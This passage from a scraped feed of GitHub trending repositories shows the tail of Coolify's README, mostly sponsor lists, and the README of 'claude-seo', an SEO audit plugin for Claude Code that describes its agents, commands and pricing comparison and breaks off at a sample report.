href=\"https://github.com/coollabsio/coolify/discussions\">GitHub Discussions</a>.</li> \n <li>Read the <a href=\"https://raw.githubusercontent.com/coollabsio/coolify/main/CONTRIBUTING.md\">contribution guide</a> before you submit a change.</li> \n <li>Review the <a href=\"https://raw.githubusercontent.com/coollabsio/coolify/main/CODE_OF_CONDUCT.md\">code of conduct</a>.</li> \n <li>Contact the team through the <a href=\"https://coolify.io/docs/contact\">support page</a>.</li> \n</ul> \n<h2>Donations</h2> \n<p>To stay completely free and open-source, with no feature behind the paywall and evolve the project, we need your help. If you like Coolify, please consider donating to help us fund the project's future development.</p> \n<p><a href=\"https://coolify.io/sponsorships\">coolify.io/sponsorships</a></p> \n<p>Thank you so much!</p> \n<h3>Huge Sponsors</h3> \n<ul> \n <li><a href=\"https://www.context.dev/\">Context.dev</a> - Web scraping API for AI agents</li> \n <li><a href=\"https://ginernet.com/\">Ginernet</a> - Hosting powerful servers in Spain</li> \n <li><a href=\"https://serpapi.com\">SerpAPI</a> - Google Search API \u2014 Scrape Google and other search engines from our fast, easy, and complete API.</li> \n <li><a href=\"https://www.mvps.net\">MVPS</a> - Cheap VPS servers at the highest possible quality</li> \n <li><a href=\"https://screenshotone.com\">ScreenshotOne</a> - Screenshot API for devs</li> \n <li><a href=\"https://privatealps.net\">PrivateAlps</a> - Cloud Services Provider, VPS, servers infrastructure for people who care about privacy and control</li> \n <li><a href=\"https://seibert.link/coolifysoftware\">Seibert Group</a> - Boost productivity company-wide with AI agents like Claude Code</li> \n <li><a href=\"https://contabo.com/en/coolify-vps/\">Contabo</a> - Cloud VPS &amp; dedicated servers at unbeatable prices</li> \n</ul> \n<h3>Big Sponsors</h3> \n<ul> \n <li><a href=\"https://www.vanaways.co.uk\">Vanaways</a> - New vans for sale and lease across the UK</li> \n <li><a href=\"https://www.cloudways.com/en/?id=2125302\">Cloudways</a> - Managed cloud hosting platform by DigitalOcean</li> \n <li><a href=\"https://www.bytebase.com\">ByteBase</a> - Database CI/CD and Security at Scale</li> \n <li><a href=\"https://ramnode.com/\">Ramnode</a> - High Performance Cloud VPS Hosting</li> \n <li><a href=\"https://23m.com\">23M</a> - Your experts for high-availability hosting solutions!</li> \n <li><a href=\"https://macarne.com\">Macarne</a> - Best IP Transit &amp; Carrier Ethernet Solutions for Simplified Network Connectivity</li> \n <li><a href=\"http://htznr.li/CoolifyXHetzner\">Hetzner</a> - Server, cloud, hosting, and data center solutions</li> \n <li><a href=\"https://logto.io\">Logto</a> - The better identity infrastructure for developers</li> \n <li><a href=\"https://supadata.ai/\">Supadata</a> - Scrape YouTube, web, and files. Get AI-ready, clean data for your next project.</li> \n <li><a href=\"https://tolgee.io\">Tolgee</a> - The open source localization platform</li> \n <li><a href=\"https://bc.direct\">Best Consultant</a> - Your trusted technology consulting partner</li> \n <li><a href=\"https://arcjet.com\">ArcJet</a> - Advanced web security and performance solutions</li> \n <li><a href=\"https://supa.guide\">SupaGuide</a> - Your comprehensive guide to Supabase</li> \n <li><a href=\"https://coderabbit.ai\">CodeRabbit</a> - Cut Code Review Time &amp; Bugs in Half</li> \n <li><a href=\"https://convex.link/coolify.io\">Convex</a> - Convex is the open-source reactive database for web app developers.</li> \n <li><a href=\"https://billing.goldenvm.com\">GoldenVM</a> - Premium virtual machine hosting solutions</li> \n <li><a href=\"https://comit.international\">Comit International</a> - New York Times award\u2013winning contractor!</li> \n <li><a href=\"https://www.trycomp.ai\">Compai</a> - The open source compliance automation platform that does everything you need to get compliant, fast. Open source alternative to Drata &amp; Vanta.</li> \n <li><a href=\"https://www.tigrisdata.com\">Tigris</a> - Modern S3 Alternative</li> \n <li><a href=\"https://blacksmith.sh\">Blacksmith</a> - Infrastructure automation platform</li> \n <li><a href=\"https://jobscollider.com/remote-jobs\">JobsCollider</a> - 30,000+ remote jobs for developers</li> \n <li><a href=\"https://darweb.nl/?ref=coolify.io&amp;utm_source=coolify.io\">Darweb</a> - Design. Develop. Deliver. Specialized in 3D CPQ Solutions for eCommerce.</li> \n <li><a href=\"https://www.hostinger.com/vps/coolify-hosting\">Hostinger</a> - Web hosting and VPS solutions</li> \n <li><a href=\"https://vibe.mobb.ai/\">Mobb</a> - Secure Your AI-Generated Code to Unlock Dev Productivity</li> \n <li><a href=\"https://www.ubicloud.com\">Ubicloud</a> - Open source cloud infrastructure platform</li> \n <li><a href=\"https://pfglabs.com\">PFGLabs</a> - Build Real Projects with Golang</li> \n <li><a href=\"https://juxtdigital.com\">JuxtDigital</a> - Digital PR &amp; AI Authority Building Agency</li> \n <li><a href=\"https://saasykit.com\">SaasyKit</a> - Complete SaaS starter kit for developers</li> \n <li><a href=\"https://americancloud.com\">American Cloud</a> - US-based cloud infrastructure services</li> \n <li><a href=\"https://www.greptile.com\">Greptile</a> - The AI Code Reviewer</li> \n <li><a href=\"https://vpsdime.com/\">VPSDime</a> - Cheap VPS Hosting - 4GB for $5/month</li> \n <li><a href=\"https://cloud.dataforest.net/en\">dataforest Cloud</a> - Deploy cloud servers as seeds independently in seconds. Enterprise hardware, premium network, 100% made in Germany.</li> \n <li><a href=\"https://ishosting.com/\">ISHosting</a> - Hosting and VPS solutions</li> \n <li><a href=\"https://nodeplus.ai/\">NodePlus.ai</a> - AI that reads every system your business runs on</li> \n</ul> \n<h3>Small Sponsors</h3> \n<p><a href=\"https://serverside.com/?utm_source=coolify.io\"><img alt=\"Serverside\" src=\"https://cdn.coollabs.io/sponsors/serverside.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://darkvps.pro\"><img alt=\"DarkVPS\" src=\"https://cdn.coollabs.io/sponsors/darkvps.png\" width=\"60px\" /></a> <a href=\"https://www.opensourcealternatives.to\"><img alt=\"Open Source Alternatives\" src=\"https://cdn.coollabs.io/sponsors/opensourcealternatives.png\" width=\"60px\" /></a> <a href=\"https://onserva.com/\"><img alt=\"Onserva\" src=\"https://onserva.com/icon.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://www.movavi.com/mac.html?utm_source=coolify.io\"><img alt=\"Movavi\" src=\"https://cdn.coollabs.io/sponsors/movavi.png\" width=\"60px\" /></a> <a href=\"https://usefoil.com/\"><img alt=\"ABXY\" src=\"https://usefoil.com/favicon.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://www.launchfa.st/?utm_source=coolify.io\"><img alt=\"LaunchFast Boilerplates\" src=\"https://github.com/LaunchFast-Boilerplates.png\" width=\"60px\" /></a> <a href=\"https://www.netrouting.com/?utm_source=coolify.io\"><img alt=\"Netrouting\" src=\"https://github.com/netroutingcom.png\" width=\"60px\" /></a> <a href=\"https://github.com/mindedtech\"><img alt=\"MindEd Tech\" src=\"https://github.com/mindedtech.png\" width=\"60px\" /></a> <a href=\"https://youstable.com/?utm_source=coolify.io\"><img alt=\"YouStable\" src=\"https://github.com/youstable.png\" width=\"60px\" /></a> <a href=\"https://transcript.lol/?utm_source=coolify.io\"><img alt=\"Transcript LOL\" src=\"https://transcript.lol/logo.png\" width=\"60px\" /></a> <a href=\"https://www.autom.dev/?utm_source=coolify.io\"><img alt=\"Autom\" src=\"https://cdn.coollabs.io/sponsors/autom.png\" width=\"60px\" /></a> <a href=\"https://www.huntapi.com/?utm_source=coolify.io\"><img alt=\"HuntAPI\" src=\"https://cdn.coollabs.io/sponsors/huntapi.png\" width=\"60px\" /></a> <a href=\"https://ultraservers.com/?utm_source=coolify.io\"><img alt=\"ULTRASERVERS\" src=\"https://github.com/ULTRASERVERS.png\" width=\"60px\" /></a> <a href=\"https://vibetone.com/?utm_source=coolify.io\"><img alt=\"VibeTone\" src=\"https://github.com/vibetonefm.png\" width=\"60px\" /></a> <a href=\"https://www.piloterr.com/?utm_source=coolify.io\"><img alt=\"Piloterr\" src=\"https://cdn.coollabs.io/sponsors/piloterr.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://yoxel.com/?utm_source=coolify.io\"><img alt=\"Alexey Panteleev\" src=\"https://github.com/aspantel.png\" width=\"60px\" /></a> <a href=\"https://summyt.app?utm_source=coolify.io\"><img alt=\"SummYT - YouTube Summarizer\" src=\"https://summyt.app/logo.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://open-elements.com/?utm_source=coolify.io\"><img alt=\"OpenElements\" src=\"https://github.com/OpenElements.png\" width=\"60px\" /></a> <a href=\"https://xaman.app/?utm_source=coolify.io\"><img alt=\"Xaman\" src=\"https://github.com/XamanApp.png\" width=\"60px\" /></a> <a href=\"https://monadical.com/?utm_source=coolify.io\"><img alt=\"Monadical\" src=\"https://github.com/Monadical-SAS.png\" width=\"60px\" /></a> <a href=\"https://maas.engineering/?utm_source=coolify.io\"><img alt=\"Magic as a Service\" src=\"https://github.com/magicasaservice.png\" width=\"60px\" /></a> <a href=\"https://fivemanage.com?utm_source=coolify.io\"><img alt=\"FiveManage\" src=\"https://cdn.coollabs.io/sponsors/fivemanage.jpg\" width=\"60px\" /></a> <a href=\"https://cryptojobslist.com/?utm_source=coolify.io\"><img alt=\"Crypto Jobs List\" src=\"https://github.com/cryptojobslist.png\" width=\"60px\" /></a> <a href=\"https://serpapi.com/?utm_source=coolify.io\"><img alt=\"SerpAPI\" src=\"https://github.com/serpapi.png\" width=\"60px\" /></a> <a href=\"https://typebot.io/?utm_source=coolify.io\"><img alt=\"typebot\" src=\"https://cdn.bsky.app/img/avatar/plain/did:plc:gwxcta3pccyim4z5vuultdqx/bafkreig23hci7e2qpdxicsshnuzujbcbcgmydxhbybkewszdezhdodv42m@jpeg\" width=\"60px\" /></a> <a href=\"https://360creators.com/?utm_source=coolify.io\"><img alt=\"360Creators\" src=\"https://opencollective-production.s3.us-west-1.amazonaws.com/account-avatar/503e0953-bff7-4296-b4cc-5e36d40eecc0/icon-360creators.png\" width=\"60px\" /></a> <a href=\"https://capgo.app/?utm_source=coolify.io\"><img alt=\"Cap-go\" src=\"https://github.com/cap-go.png\" width=\"60px\" /></a> <a href=\"https://cirun.io/?utm_source=coolify.io\"><img alt=\"Cirun\" src=\"https://cdn.coollabs.io/sponsors/cirun-logo.png\" width=\"60px\" /></a> <a href=\"https://github.com/puls-digital-group\"><img alt=\"Puls Digital Group\" src=\"https://github.com/puls-digital-group.png\" width=\"60px\" /></a> <a href=\"https://github.com/jonathanprl\"><img alt=\"Jonathan Pereira\" src=\"https://github.com/jonathanprl.png\" width=\"60px\" /></a> <a href=\"https://outboundgateway.com/\"><img alt=\"OutboundGateway\" src=\"https://github.com/OutboundGateway.png\" width=\"60px\" /></a> <a href=\"https://github.com/t4dt\"><img alt=\"T4DT GmbH\" src=\"https://github.com/t4dt.png\" width=\"60px\" /></a> <a href=\"https://internetgarden.co/?utm_source=coolify.io\"><img alt=\"Internet Garden\" src=\"https://cdn.coollabs.io/sponsors/internetgarden.ico\" width=\"60px\" /></a> <a href=\"https://evercam.io/?utm_source=coolify.io\"><img alt=\"Evercam\" src=\"https://github.com/evercam.png\" width=\"60px\" /></a> <a href=\"https://web3.career/?utm_source=coolify.io\"><img alt=\"Web3 Jobs\" src=\"https://cdn.coollabs.io/sponsors/web3jobs.png\" width=\"60px\" /></a> <a href=\"https://linkdr.com?utm_source=coolify.io\"><img alt=\"LinkDr\" src=\"https://cdn.coollabs.io/sponsors/linkdr.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://arvensis.systems/?utm_source=coolify.io\"><img alt=\"Arvensis Systems\" src=\"https://cdn.coollabs.io/sponsors/arvensis.png\" width=\"60px\" /></a> <a href=\"https://www.runpod.io/?utm_source=coolify.io\"><img alt=\"RunPod\" src=\"https://cdn.coollabs.io/sponsors/runpod.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"http://gravitywiz.com/?utm_source=coolify.io\"><img alt=\"Gravity Wiz\" src=\"https://github.com/gravitywiz.png\" width=\"60px\" /></a> <a href=\"https://www.uxwizz.com/?utm_source=coolify.io\"><img alt=\"UXWizz\" src=\"https://github.com/UXWizz.png\" width=\"60px\" /></a> <a href=\"https://codext.link/coolify-io?utm_source=coolify.io\"><img alt=\"Codext\" src=\"https://cdn.coollabs.io/sponsors/codext.jpg\" width=\"60px\" /></a> <a href=\"https://interviewpal.com\"><img alt=\"InterviewPal\" src=\"https://cdn.coollabs.io/sponsors/interviewpal.svg?sanitize=true\" width=\"60px\" /></a> <a href=\"https://decidable.no?utm_source=coolify.io\"><img alt=\"Decidable\" src=\"https://github.com/Decidable-AS.png\" width=\"60px\" /></a> <a href=\"https://hosthavoc.com\"><img alt=\"Host Havoc\" src=\"https://cdn.coollabs.io/sponsors/hosthavoc.png\" width=\"60px\" /></a></p> \n<p>...and many more at <a href=\"https://github.com/sponsors/coollabsio\">GitHub Sponsors</a></p> \n<h2>Star History</h2> \n<p><a href=\"https://star-history.com/#coollabsio/coolify&amp;Date\"><img alt=\"Star History Chart\" src=\"https://api.star-history.com/svg?repos=coollabsio/coolify&amp;type=Date\" /></a></p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/AgriciDaniel/claude-seo", "url": "https://github.com/AgriciDaniel/claude-seo", "external_url": null, "title": "AgriciDaniel/claude-seo", "content_text": "", "content_html": "<p>Universal SEO skill for Claude Code. 26 sub-skills + 19 sub-agents covering technical SEO, E-E-A-T, schema, GEO/AEO, agent readiness (Lighthouse Agentic Browsing, WebMCP, llms.txt), backlinks, local SEO, e-commerce, international SEO, Google APIs, and PDF/Excel reporting. 9 optional extensions for live SEO data.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://skool.com/ai-marketing-hub-pro\">https://skool.com/ai-marketing-hub-pro</a></p><hr /><img alt=\"Claude SEO: rank in Google, get cited by AI. Three bots climb from #48 to #1 by fixing crawl, speed, schema, AI access and authority, then Google, ChatGPT, Perplexity, Gemini and Claude cite the site.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/hero.svg?sanitize=true\" width=\"1200\" /> \n<h1 align=\"center\">Claude SEO</h1> \n<p align=\"center\"> <b>Free, open-source SEO audits inside <a href=\"https://claude.com/product/claude-code\">Claude Code</a>.</b><br /> Rank higher in Google and get cited by AI search. </p> \n<p align=\"center\"> <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#install\">Install</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#see-it-in-action\">Demo</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#real-results\">Results</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#meet-the-team\">Team</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#commands\">Commands</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#pricing\">Pricing</a> \u00b7 <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/#faq\">FAQ</a> </p> \n<p align=\"center\"> <a href=\"https://github.com/AgriciDaniel/claude-seo/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://github.com/AgriciDaniel/claude-seo/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://claude.com/product/claude-code\"><img alt=\"Claude Code plugin\" src=\"https://img.shields.io/badge/Claude%20Code-Plugin-blue\" /></a> <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/LICENSE\"><img alt=\"License: MIT\" src=\"https://img.shields.io/badge/License-MIT-yellow.svg?sanitize=true\" /></a> <a href=\"https://github.com/AgriciDaniel/claude-seo/releases\"><img alt=\"Version\" src=\"https://img.shields.io/github/v/release/AgriciDaniel/claude-seo\" /></a> <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/tests/\"><img alt=\"Tests\" src=\"https://img.shields.io/badge/tests-1077%20passing-brightgreen\" /></a> <a href=\"https://github.com/AgriciDaniel/claude-seo\"><img alt=\"GitHub stars\" src=\"https://img.shields.io/github/stars/AgriciDaniel/claude-seo?style=flat\" /></a> <a href=\"https://www.skool.com/ai-marketing-hub-pro\"><img alt=\"AI Marketing Hub Pro community\" src=\"https://img.shields.io/badge/AI%20Marketing%20Hub-Pro%20community-purple\" /></a> </p> \n<p align=\"center\"> <a href=\"https://trendshift.io/repositories/21053\"><img alt=\"AgriciDaniel/claude-seo on Trendshift: GitHub Trending #12 Repository Of The Day\" height=\"55\" src=\"https://trendshift.io/api/badge/repositories/21053\" width=\"250\" /></a> </p> \n<p><strong>Claude SEO is a free SEO plugin for Claude Code.</strong> Give it any website and it runs a full SEO audit in 10 to 15 minutes, then hands you a clear action plan, sorted by what matters most.</p> \n<p>It checks everything a good SEO consultant would:</p> \n<ul> \n <li><strong>Technical SEO.</strong> Crawlability, indexing, sitemaps, robots.txt, redirects, page speed and Core Web Vitals.</li> \n <li><strong>Content quality.</strong> E-E-A-T (experience, expertise, authority and trust), thin pages and topic coverage.</li> \n <li><strong>Structured data.</strong> Finds, validates and writes <a href=\"http://Schema.org\">Schema.org</a> markup for rich results.</li> \n <li><strong>AI search (GEO).</strong> How likely Google AI Overviews, AI Mode, ChatGPT, Perplexity and Gemini are to cite your pages.</li> \n <li><strong>Local and e-commerce SEO.</strong> Google Business Profile, reviews, map pack, product pages and international sites.</li> \n</ul> \n<p>Claude SEO is built from 26 sub-skills and 19 specialist agents, and up to 17 agents work on your site at the same time. Every recommendation explains why it matters and how you will know it worked.</p> \n<h2>See it in action</h2> \n<p>Type <code>/seo</code> in Claude Code to see every command:</p> \n<p><img alt=\"Claude SEO /seo command demo in the Claude Code terminal\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/screenshots/seo-command-demo.gif\" /></p> \n<p>Run a full audit and watch the agents fan out across the site:</p> \n<p><img alt=\"Claude SEO /seo audit demo: parallel agents producing a prioritized action plan\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/screenshots/seo-audit-demo.gif\" /></p> \n<p><a href=\"https://www.youtube.com/watch?v=COMnNlUakQk\">Watch the full demo on YouTube</a></p> \n<h2>Real results</h2> \n<p>The project's own site, <a href=\"https://claude-seo.md\">claude-seo.md</a>, audited with Claude SEO from day one: 10.8K Search Console clicks in its first 12 weeks and a 99 mobile PageSpeed score.</p> \n<img alt=\"Real results: Google Search Console showing 10.8K clicks and 324K impressions for a new site between 23 March and 12 June 2026, next to a PageSpeed Insights report scoring 99 for performance and 100 for SEO.\" height=\"751\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/screen.svg?sanitize=true\" width=\"1200\" /> \n<h2>Meet the team</h2> \n<img alt=\"The Claude SEO team: 19 specialist agents on a website, each standing on the part it checks, shown one at a time with its role, model, ability and command.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/team.svg?sanitize=true\" width=\"1200\" /> \n<details> \n <b>All 19 agents</b> \n <br /> \n <table> \n  <thead> \n   <tr> \n    <th>Agent</th> \n    <th>Role</th> \n    <th>Model</th> \n    <th>Command</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><code>seo-technical</code></td> \n    <td>Technical SEO Lead</td> \n    <td>Sonnet</td> \n    <td><code>/seo technical</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-content</code></td> \n    <td>Content Editor</td> \n    <td>Opus</td> \n    <td><code>/seo content</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-schema</code></td> \n    <td>Structured Data Engineer</td> \n    <td>Sonnet</td> \n    <td><code>/seo schema</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-sitemap</code></td> \n    <td>Sitemap Architect</td> \n    <td>Sonnet</td> \n    <td><code>/seo sitemap</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-performance</code></td> \n    <td>Performance Engineer</td> \n    <td>Sonnet</td> \n    <td><code>/seo audit</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-visual</code></td> \n    <td>Visual QA</td> \n    <td>Sonnet</td> \n    <td><code>/seo audit</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-geo</code></td> \n    <td>AI Search Analyst</td> \n    <td>Opus</td> \n    <td><code>/seo geo</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-agentic</code></td> \n    <td>Agent Readiness Analyst</td> \n    <td>Sonnet</td> \n    <td><code>/seo agentic</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-local</code></td> \n    <td>Local SEO Specialist</td> \n    <td>Sonnet</td> \n    <td><code>/seo local</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-maps</code></td> \n    <td>Maps Analyst</td> \n    <td>Sonnet</td> \n    <td><code>/seo maps</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-google</code></td> \n    <td>Google Data Analyst</td> \n    <td>Sonnet</td> \n    <td><code>/seo google</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-backlinks</code></td> \n    <td>Link Analyst</td> \n    <td>Sonnet</td> \n    <td><code>/seo backlinks</code></td> \n   </tr> \n   <tr> \n    <td>Live data (extension)</td> \n    <td>Live Data Analyst</td> \n    <td>Sonnet</td> \n    <td><code>/seo audit</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-image-gen</code></td> \n    <td>Image Producer (extension)</td> \n    <td>Sonnet</td> \n    <td><code>/seo image-gen</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-cluster</code></td> \n    <td>Topic Strategist</td> \n    <td>Opus</td> \n    <td><code>/seo cluster</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-sxo</code></td> \n    <td>Search Experience Designer</td> \n    <td>Opus</td> \n    <td><code>/seo sxo</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-drift</code></td> \n    <td>Change Monitor</td> \n    <td>Opus</td> \n    <td><code>/seo drift</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-ecommerce</code></td> \n    <td>E-commerce Specialist</td> \n    <td>Sonnet</td> \n    <td><code>/seo ecommerce</code></td> \n   </tr> \n   <tr> \n    <td><code>seo-flow</code></td> \n    <td>FLOW Strategist</td> \n    <td>Sonnet</td> \n    <td><code>/seo flow</code></td> \n   </tr> \n  </tbody> \n </table> \n</details> \n<p><strong>Built for:</strong></p> \n<ul> \n <li><strong>SEO agencies</strong> that want weekly audits for every client instead of quarterly ones, with change monitoring to catch problems in between.</li> \n <li><strong>In-house SEO teams</strong> at SaaS, publishing and e-commerce companies that want a second pair of eyes before every review, AI search included.</li> \n <li><strong>Freelance SEO consultants</strong> who want to run an audit on the first call and show a real score and the top fixes before writing a proposal.</li> \n</ul> \n<h2>Commands</h2> \n<img alt=\"The six groups of SEO commands on a map: audits, technical SEO, content, schema and AI search, local and commerce, and extensions. The crew walks the path and each of the 30 commands is ticked off.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/map.svg?sanitize=true\" width=\"1200\" /> \n<p>30 core and extension commands in six groups. Open one to see what is inside; a few more extension commands are in the <a href=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/docs/COMMANDS.md\">full command reference</a>.</p> \n<details> \n <b>Audits and Planning</b> (5 commands) \n <ul>\n  <li><code>/seo setup</code>: Create or refresh the isolated Python runtime and Chromium</li>\n  <li><code>/seo doctor</code>: Check runtime readiness without changing the system</li>\n  <li><code>/seo audit &lt;url&gt;</code>: Full website audit with parallel agents</li>\n  <li><code>/seo page &lt;url&gt;</code>: Deep single-page analysis</li>\n  <li><code>/seo plan &lt;type&gt;</code>: Strategic SEO planning (saas, local, ecommerce, publisher, agency)</li>\n </ul> \n</details> \n<details> \n <b>Technical SEO</b> (7 commands) \n <ul>\n  <li><code>/seo technical &lt;url&gt;</code>: Technical SEO audit across 9 categories</li>\n  <li><code>/seo sitemap &lt;url | generate&gt;</code>: Analyze or generate XML sitemaps</li>\n  <li><code>/seo images &lt;url&gt;</code>: Image optimization analysis</li>\n  <li><code>/seo hreflang &lt;url&gt;</code>: Hreflang and i18n SEO audit and generation</li>\n  <li><code>/seo programmatic &lt;url&gt;</code>: Programmatic SEO analysis and planning</li>\n  <li><code>/seo google [command]</code>: Google SEO APIs: GSC, PageSpeed, CrUX, Indexing, GA4, PDF reports</li>\n  <li><code>/seo drift baseline | compare | history &lt;url&gt;</code>: SEO drift monitoring with SQLite snapshots</li>\n </ul> \n</details> \n<details> \n <b>Content and E-E-A-T</b> (6 commands) \n <ul>\n  <li><code>/seo content &lt;url&gt;</code>: E-E-A-T and content quality analysis</li>\n  <li><code>/seo content-brief &lt;topic&gt;</code>: Content brief: target keywords, outline, internal links</li>\n  <li><code>/seo cluster &lt;keyword&gt;</code>: SERP-based semantic clustering</li>\n  <li><code>/seo sxo &lt;url&gt;</code>: Search Experience Optimization: page type, user stories, personas</li>\n  <li><code>/seo flow [stage]</code>: FLOW framework prompts (CC BY 4.0, evidence-led)</li>\n  <li><code>/seo competitor-pages &lt;url&gt;</code>: Competitor comparison page generation</li>\n </ul> \n</details> \n<details> \n <b>Schema and AI Search</b> (3 commands) \n <ul>\n  <li><code>/seo schema &lt;url&gt;</code>: Detect, validate and generate Schema.org markup</li>\n  <li><code>/seo geo &lt;url&gt;</code>: AI Overviews and Generative Engine Optimization</li>\n  <li><code>/seo agentic &lt;url&gt;</code>: Agent readiness: Lighthouse Agentic Browsing X/N, AI agent access, llms.txt, Markdown, WebMCP</li>\n </ul> \n</details> \n<details> \n <b>Local, Links, Commerce</b> (4 commands) \n <ul>\n  <li><code>/seo local &lt;url&gt;</code>: Local SEO: GBP, citations, reviews, map pack</li>\n  <li><code>/seo maps [command]</code>: Maps intelligence: geo-grid, GBP audit, reviews, competitors</li>\n  <li><code>/seo backlinks &lt;url&gt;</code>: Backlink profile analysis (Moz, Bing, Common Crawl)</li>\n  <li><code>/seo ecommerce &lt;url&gt;</code>: E-commerce SEO and marketplace intelligence</li>\n </ul> \n</details> \n<details> \n <b>Extensions</b> (5 commands) \n <ul>\n  <li><code>/seo image-gen [use-case]</code>: AI image generation for SEO assets</li>\n  <li><code>/seo seranking [command]</code>: AI Share-of-Voice across ChatGPT, Gemini, Perplexity, AI Overviews, AI Mode</li>\n  <li><code>/seo profound [command]</code>: LLM citation tracking with time-series data</li>\n  <li><code>/seo bing [command] &lt;url&gt;</code>: Bing Webmaster Tools + IndexNow URL submission</li>\n  <li><code>/seo unlighthouse &lt;url&gt;</code>: Multi-page Lighthouse runner, runs locally</li>\n </ul> \n</details> \n<h2>Pricing</h2> \n<img alt=\"Same items, two shops: an agency charges for an SEO audit, reporting, calls and a retainer while Claude SEO charges nothing. Over year one the agency total reaches $106,500. Illustrative pricing.\" height=\"420\" src=\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/shop.svg?sanitize=true\" width=\"1200\" /> \n<details> \n <b>The full comparison</b> \n <br /> \n <table> \n  <thead> \n   <tr> \n    <th></th> \n    <th>Doing it by hand</th> \n    <th>Hiring an agency</th> \n    <th>SEO audit software</th> \n    <th><strong>Claude SEO</strong></th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><strong>Time per audit</strong></td> \n    <td>4 to 8 hours</td> \n    <td>1 to 3 weeks</td> \n    <td>10 to 45 minutes</td> \n    <td><strong>10 to 15 minutes</strong></td> \n   </tr> \n   <tr> \n    <td><strong>Cost</strong></td> \n    <td>Billable hours</td> \n    <td>$2k to $15k+ per project</td> \n    <td>$99 to $999 a month</td> \n    <td><strong>Free, with your Claude Code plan</strong></td> \n   </tr> \n   <tr> \n    <td><strong>Consistent checks</strong></td> \n    <td>Depends on who does it</td> \n    <td>Depends on the team</td> \n    <td>Yes</td> \n    <td><strong>Same checklist every time</strong></td> \n   </tr> \n   <tr> \n    <td><strong>What you get</strong></td> \n    <td>A spreadsheet or PDF</td> \n    <td>A slide deck</td> \n    <td>A dashboard and CSV exports</td> \n    <td><strong>Markdown, PDF and JSON files you keep</strong></td> \n   </tr> \n   <tr> \n    <td><strong>Your data stays with you</strong></td> \n    <td>Yes</td> \n    <td>No</td> \n    <td>No</td> \n    <td><strong>Yes, it runs on your machine</strong></td> \n   </tr> \n   <tr> \n    <td><strong>Covers AI search</strong></td> \n    <td>Depends</td> \n    <td>Depends</td> \n    <td>Often months behind</td> \n    <td><strong>Yes, follows Google's latest guidance</strong></td> \n   </tr> \n   <tr> \n    <td><strong>Each fix comes with a way to check it worked</strong></td> \n    <td>Sometimes</td> \n    <td>Sometimes</td> \n    <td>Rarely</td> \n    <td><strong>Yes</strong></td> \n   </tr> \n  </tbody> \n </table> \n <blockquote> \n  <p>Typical market prices, for illustration. Your numbers may differ.</p> \n </blockquote> \n</details> \n<h2>How an audit works</h2> \n<ol> \n <li><strong>It learns your site.</strong> Claude SEO detects the type of business (SaaS, local, e-commerce, publisher or agency) and adjusts its checks.</li> \n <li><strong>The team fans out.</strong> Up to 17 specialist agents audit the site in parallel: technical, content, schema, speed, AI search and more.</li> \n <li><strong>You get a plan, not a pile of warnings.</strong> Findings are scored and sorted into a prioritized action plan. Each recommendation says what it is based on, what it depends on and how you will know it worked.</li> \n</ol> \n<p>Reports are saved as Markdown, and <code>/seo google report</code> turns them into a polished PDF.</p> \n<details> \n <b>See a real report</b>: the start of a schema audit \n <pre><code class=\"language-markdown\"># Schema Markup Report: rankenstein.pro/about\n\n| Metric              | 